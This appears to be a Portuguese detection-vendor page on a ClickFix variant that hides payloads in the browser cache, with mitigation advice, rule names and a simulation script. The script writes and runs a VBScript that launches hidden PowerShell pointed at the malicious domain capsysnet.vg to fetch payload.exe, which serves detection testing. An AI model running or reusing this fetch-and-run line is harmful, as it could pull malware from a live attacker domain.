Ataque ClickFix Entrega Cargas Úteis via Cache do Navegador
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Uma nova variação do ataque ClickFix usa sites comprometidos para pré-carregar scripts maliciosos no cache do navegador, disfarçados como arquivos legítimos, como PNGs. As vítimas são manipuladas por engenharia social para executar comandos através do diálogo Executar do Windows, que então dispara a execução da carga útil em cache para contornar limites de caracteres e controles de segurança. Esta técnica eventualmente leva ao roubo de credenciais através de injeção de memória em processos legítimos.
Investigação
A Microsoft Threat Intelligence e outros pesquisadores identificaram uma cadeia de infecção em múltiplos estágios envolvendo VBScript, PowerShell e assemblies .NET. A cadeia de ataque usa contrabando de cache do navegador para esconder cargas úteis e emprega WMI para coletar informações do host. A investigação destacou o uso de ferramentas legítimas do sistema como cmd.exe, wscript.exe e timeout.exe para facilitar o ataque.
Mitigação
As organizações devem implementar proteção na nuvem, web e rede, juntamente com controle de aplicações e registro de bloqueios de scripts PowerShell. Usuários devem ser educados a nunca colar comandos no Executar do Windows, Terminal ou PowerShell quando solicitados por erros de site ou CAPTCHAs. Monitoramento para atividades suspeitas do navegador e processos filhos do WScript/PowerShell também é recomendado.
Resposta
Ao detectar, procure atividades suspeitas na chave de registro RunMRU e monitore tarefas agendadas incomuns. Investigue processos filhos originados do WScript ou PowerShell e verifique assemblies .NET não autorizados carregados na memória. Isole sistemas afetados e revise logs de rede para conexões de saída a domínios maliciosos conhecidos.
Fluxo de Ataque
Ainda estamos atualizando esta parte.
Detecções
Execução Possível pelo Uso de Nome de Script Curto (via linha de comando)
Operação Possível Manual ou de Script Foi Realizada em Pastas Incomuns (via linha de comando)
LOLBAS WScript / CScript (via criação de processo)
Detecção de Execução de PowerShell e VBScript via Contrabando de Cache do Navegador [Windows PowerShell]
Execução de Simulação
-
Narrativa & Comandos do Ataque: O adversário utiliza uma tática de engenharia social onde o usuário é solicitado a “corrigir” um erro do navegador. Este processo contrabandeia um VBScript malicioso em um diretório temporário (simulando o cache do navegador). O adversário então executa este VBScript usando
wscript.exe. O VBScript é criado para chamar o PowerShell com o-WindowStyle Hiddenparâmetro para evitar detecção pelo usuário e tenta conectar-se ao domíniocapsysnet.vgpara buscar uma segunda carga útil. Esta sequência é projetada para acionar a lógica específica de detecção baseada em string na regra. -
Script de Teste de Regressão:
# Script de Simulação: Mimese de Contrabando de Carga Útil do ClickFix $tempDir = $env:TEMP $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs" # Crie um VBScript que simule o comportamento malicioso # Ele tenta chamar o PowerShell com a string específica que a regra procura # e referencia o domínio suspeito. $vbsContent = @" Set objShell = CreateObject("WScript.Shell") ' Simule chamar um script nomeado v.ps1 com estilo de janela oculta ' e conectar-se ao domínio suspeito objShell.Run "powershell.exe -File v.ps1 -WindowStyle Hidden -Url http://capsysnet.vg/payload.exe", 0, True "@ Set-Content -Path $vbsPath -Value $vbsContent Write-Host "[+] VBScript malicioso criado em: $vbsPath" Write-Host "[+] Executando VBScript via wscript.exe para acionar a detecção..." # Execute o VBScript Start-Process "wscript.exe" -ArgumentList "`"$vbsPath`"" Write-Host "[+] Comando de simulação enviado. Verifique alertas no SIEM." -
Comandos de Limpeza:
# Limpeza: Remova os arquivos maliciosos simulados $tempDir = $env:TEMP $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs" if (Test-Path $vbsPath) { Remove-Item -Path $vbsPath -Force Write-Host "[+] Limpeza completa: $vbsPath removido." } else { Write-Host "[!] Falha na limpeza: Arquivo não encontrado." }